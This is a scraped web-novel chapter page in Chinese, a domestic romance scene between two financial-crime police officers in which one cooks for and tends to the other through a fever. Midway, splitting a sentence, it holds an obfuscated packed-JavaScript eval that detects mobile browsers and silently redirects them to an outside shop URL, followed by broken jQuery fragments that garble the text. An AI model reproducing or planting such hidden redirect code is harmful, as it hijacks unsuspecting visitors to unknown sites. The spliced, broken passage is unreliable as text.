文趣网 > 都市小说 > 两江经融事故[经侦] > 51.双城社保漏洞
    厨房里很快弥漫起香气。

    程叙白看着江峙的背影,宽肩窄腰在围裙带子的勾勒下更加明显,手臂肌肉随着翻炒的动作绷出流畅的线条。

    锅里的油开始噼啪作响,辣椒和蒜末爆香的瞬间,江峙不着痕迹地侧身,用身体挡住了可能飞溅的油星。

    二十分钟后,一碗热气腾腾的豌杂面放在了程叙白面前。

    细软的面条上铺着金黄的豌豆和深褐色的杂酱,翠绿的青菜覆在汤面上,旁边还卧着一个荷包蛋,边缘煎得微微焦黄,香气直往鼻子里钻。

    客厅的灯光是暖黄色的,映在玻璃餐桌上,将那碗冒着热气的面条照得相当诱人。

    “尝尝。”江峙坐在对面,眼睛亮晶晶的。

    程叙白挑起一筷子面条,热气氤氲中,面条入口,菌汤的鲜香在舌尖绽放,层次分明,比他吃过的任何一碗小面都要美味。

    “怎么样?”江峙向前倾了倾身子。

    程叙白慢条斯理地擦了擦嘴角:“勉强能吃。”

    江峙笑骂了一句,作势要抢他的碗:“那别吃了,扔去喂狗。”

    程叙白下意识护住碗,嘴角微微上扬:“警察抢劫啊?”

    江峙的嘴角不受控制地翘了一下,又迅速压平:“多吃点,你吃得太少了,我侄子都比你吃得多。”

    说完他又转身去厨房,端了碗热腾腾的麻辣小面回来,顺带拌了盘翠生生的折耳根。

    “尝尝这个,”他把盘子往程叙白那边推了推,“消炎效果比药好。”

    程叙白的筷子顿在半空,眉头立马蹙了蹙:“吃不惯。”

    “我焯过水了,”江峙用公筷夹起一根,晶莹的根茎上还挂着水珠,“不腥。”

    他的筷子悬在那里,固执地等着。

    程叙白犹豫片刻,还是接了过来。他先是小心地咬了一小口,喉结滚动着咽下去,然后才把整根慢慢吃完。

    镜片后的眼睛微微眯起,仿佛经历了一场味觉的冒险。

    江峙看着他绷紧的下颌线,抬手把辣椒油倒进剩下的折耳根里,红油瞬间裹住每一根嫩白的茎叶。

    他没说话,只是嘴角翘起一个了然的弧度,好像早就看透了程叙白的口味偏好。

    餐桌上一时安静下来,筷子偶尔碰触碗边的轻响,和窗外雨滴敲打玻璃的声音交织在一起。

    吃面的速度暴露了他们截然不同的职业习惯。

    江峙三两口就解决了一大碗,筷子在碗底刮出刺啦的声响,像极了他们办案时雷厉风行的作风。

    他下意识去摸烟盒,指尖碰到烟盒又缩回来,转而掏出口香糖。薄荷味在口腔里炸开的时候,他吹了个泡泡,啪的一声在安静的餐厅里像点了摔炮。

    程叙白还在慢条斯理地吃着,每一口都要把面条在汤里轻轻涮一下。热气氤氲中,他的鼻尖还透出不自然的红,额前的碎发因为低烧微微汗湿。

    江峙这才注意到室内空调温度太低,薄毯根本挡不住寒意。他起身去调温度,遥控器却怎么按都没反应。

    “电池没电了。”程叙白头也不抬地说。

    江峙啧了一声,直接走到空调下面。大高个身高让他轻易够到控制面板,手指在按键上用力戳了几下。

    空调骤停,江峙回头过来,正对上程叙白的目光。

    那人正抬头看着自己,镜片后的眼睛湿漉漉的,就像嘉陵江早上那层薄薄的雾,模模糊糊的,让人看不清到底在想什么。

    “看什么?”江峙耳根发烫,走过来进了厨房,搅了搅还在煮着的粥。

    “没想到江队还挺贤惠。”程叙白轻笑着,在安静的餐厅里透着温柔。

    “……闭嘴。”江峙把玻璃杯放在桌上推过去,水面因为力道过大剧烈晃动,映出他发红的耳廓,“吃药。”

    说完人转身走进了厨房。

    程叙白捻起药片,仰头咽下。喉结滚动时,松垮的睡衣领口歪斜着,露出一段清晰嶙峋的锁骨,皮肤高热带来的薄红,显出几分易碎感。

    他看着站在厨房的那个背影,突然问:“你休假几天?”

    “两天。”江峙出来坐在他对面,刚洗完的手还在滴水,水珠顺着腕骨滑进袖口。状似随意地补了句,“怎么,嫌我烦?”

    程叙白食指一推眼镜,镜片后的眼睛带着淡淡的笑意。

    “问问而已。”

    江峙哼了一声,低头继续研究包装纸,却听见程叙白又问:“这两天有什么安排?”

    “能有什么安排?”江峙耸肩,“在家睡觉,打游戏,或者……”他抬眼,目光在程叙白脸上停留了一瞬,又迅速移开,“照顾某个病号。”

    程叙白挑眉,镜片后的眼睛闪过揶揄:“我不用人照顾。”

    “得了吧。”江峙嗤笑,手指点了点茶几上的体温计,“烧到三十八度还嘴硬。”

    程叙白垂眸啜了口汤,蒸腾的热气模糊了镜片,也藏住了他发红的耳朵。

    江峙的目光黏在他脸上,突然没头没尾地问:“像你这样的精英,追求者能排到东方明珠了吧?”

    “江队查岗?”程叙白抬眸,镜片后的眼睛闪过玩味,嘴角微微上扬。

    “关心同事。”江峙低头摆弄药盒,铝箔板在他指间发出不堪重负的咔咔声,“经侦队和隔壁消防队,起码有二十个人跟我打听过你感情状况。”

    “没有。”程叙白将滑落的眼镜推回原位,“工作太忙了。”

    这倒是实话。

    程叙白从小就对数据情有独钟,当同龄人在高中懵懂早恋时,他在和数据约会;当大学室友们开始谈婚论嫁时,他还在和模型热恋。

    在他眼里,数据比任何恋爱都要重要。

    空气再次安静下来,还带着点微妙的情绪。

    江峙的视线落在程叙白被热气熏得湿润的唇上,喉结不自觉地滚动。

    “那……喜欢什么类型的?”

    话刚出口他就后悔了,这问题太直接,简直像在明目张胆地试探什么。

    “女朋友。”江峙破罐子破摔地补充,手指又开始捏皱了铝箔板,“或者男朋友?”

    程叙白沉默片刻,目光落在江峙的手上。那双手骨节分明,指腹有常年握枪留下的薄茧,此刻却把玩着药板边缘,显得有些无所适从。

    “会做饭的。”他轻声说,声音微微发哑。

    江峙先是一愣,随即笑出声来,眼角挤出几道细纹。

    “程组长这要求还真是……”他挠了挠下巴上冒出的胡茬,“够实在的。”

    “你呢?”程叙白突然抬眼,被热气熏得水润的眼睛直视过来,“江队喜欢什么样的?”

    江峙望着他病中依然挺直的脊背,想起这人烧到39度还坚持分析数据的倔样,喉头发紧。

    他胳膊撑在桌上,身子微微前倾,拖鞋抵住程叙白的凳腿,将人困在方寸之间。

    “我啊……”目光扫过对方泛红的眼尾,声音低得像是呢喃,“喜欢娇气的。”

    程叙白的睫毛颤了颤,像把小扇子来回动。

    “不好养,但听话。”江峙的指尖点了点已经被他折磨变形的铝箔板边缘,“不好哄,但讲道理。”

    他顿了顿,目光灼灼地望进程叙白的眼睛:“最好是……凡事都依赖我那种。”

    程

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660084|205563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叙白垂着眼,用银匙有一下没一下地拨弄着碗底的面汤。

    “异常心理学里有个说法,总想着拯救别人,是种病态。”

    江峙身子往前一倾,拿起竹筷的尾巴头儿往他手腕上跳动的脉搏上一按。那木头纹路压着青色的血管,跟测谎机上的电极似的。

    “教科书该更新了。”他声音低哑,“这叫锚定效应。”筷尖在空中划出抛物线,最终轻叩在自己左胸。

    “警察的职业病。”

    两人的呼吸在空间里交错,这一刻仿佛连时间都放缓了流速。

    暖光底下,程叙白整个人都柔和了,嘴角也挂着笑。可若再仔细看那双眼睛,透亮透亮的,一看就啥都明白,根本糊弄不了他。

    江峙忽然注意到程叙白的左手正揪着睡衣袖口。这是他在案情分析会上遇到棘手问题时才会有的小动作。

    门铃再次响起时,两人同时一怔。

    程叙白还没从发热的混沌中清醒,江峙已经大步穿过客厅。凳子随着他的动作发出声响,带起一阵裹着薄荷气息的风。

    “程老师,你叫了家庭医生?”江峙的声音混着雨声从玄关飘来,咬字比平时重,带着方言的尾调。

    程叙白这才想起这事。他讨厌医院消毒水的气味,更受不了流感季急诊室此起彼伏的咳嗽声。

    对他来说,预约家庭医生上门显然更符合效率原则。

    “对。”他应了一声,声音已经沙哑得不像话。

    江峙抱着手臂倚在卧室门框上,看着穿白大褂的医生从出诊箱里取出器械。体温计闪着亮光,输液瓶悬挂在吊架上……

    这场景确实像豪门剧,就连程叙白烧得泛红的眼尾,和皱巴巴的丝绸睡衣都十分吻合。

    “感谢程组长,”送走医生后,江峙故意用指节叩了叩输液架,“让我见识了什么叫沪上精英の生活。”

    他学着日剧腔调,却又带着方言口音,嘴角翘起痞气的弧度,眼底却藏着复杂杂情绪。

    程叙白靠在床头,暖光将他轮廓镀上一层柔和的边。他望着江峙袖口沾到的水痕迹,突然开口。

    “江峙。”

    这是相识以来第一次听他不带怒火叫全名。

    江峙手指一颤,刚拆开的药板差点掉在地上。

    “今天谢谢你。”程叙白的声音轻轻的,“陪我。还有……”他目光扫过床头柜上空了的粥碗,碗底还残留着几粒晶莹的米粒,“做饭。”

    江峙耳根突然发烫,他低头摆弄输液调节器,轮盘在指间转过三圈才答。

    “唔,后面慢慢还。”

    话出口又后悔了,这踏马算什么糟糕的回应。

    程叙白却轻轻笑了一下,然后闭上眼睛陷入了睡眠,烧未退尽的脸颊还红着。

    江峙替他掖被角的动作不自觉放轻,指尖隔着羽绒被仿佛都能感受到对方偏高的体温。

    窗外冬雨未歇,雨滴在玻璃上蜿蜒成迷离的河流。

    江峙望着输液管里匀速下坠的水珠,突然觉得这场被迫的休假,或许真是老天爷的安排。

    不知过了多久,程叙白在半梦半醒间听见方言的絮语,江峙压低的声线在电话里透着锋利。

    “……查清楚那个家庭医生的底细,程组长的安全比什么都重要……”电话那头似乎有争执,他喉结滚动着迸出句带着火药味的脏话。

    “老子管他什么程序!”

    他始终都没告诉过江峙,这个医生其实是上海方面特意安排的自己人。

    就像他也没说,之所以能忍受这里的麻辣火锅,全是因为每次都能看见江峙被辣得通红的耳尖在眼前晃来晃去。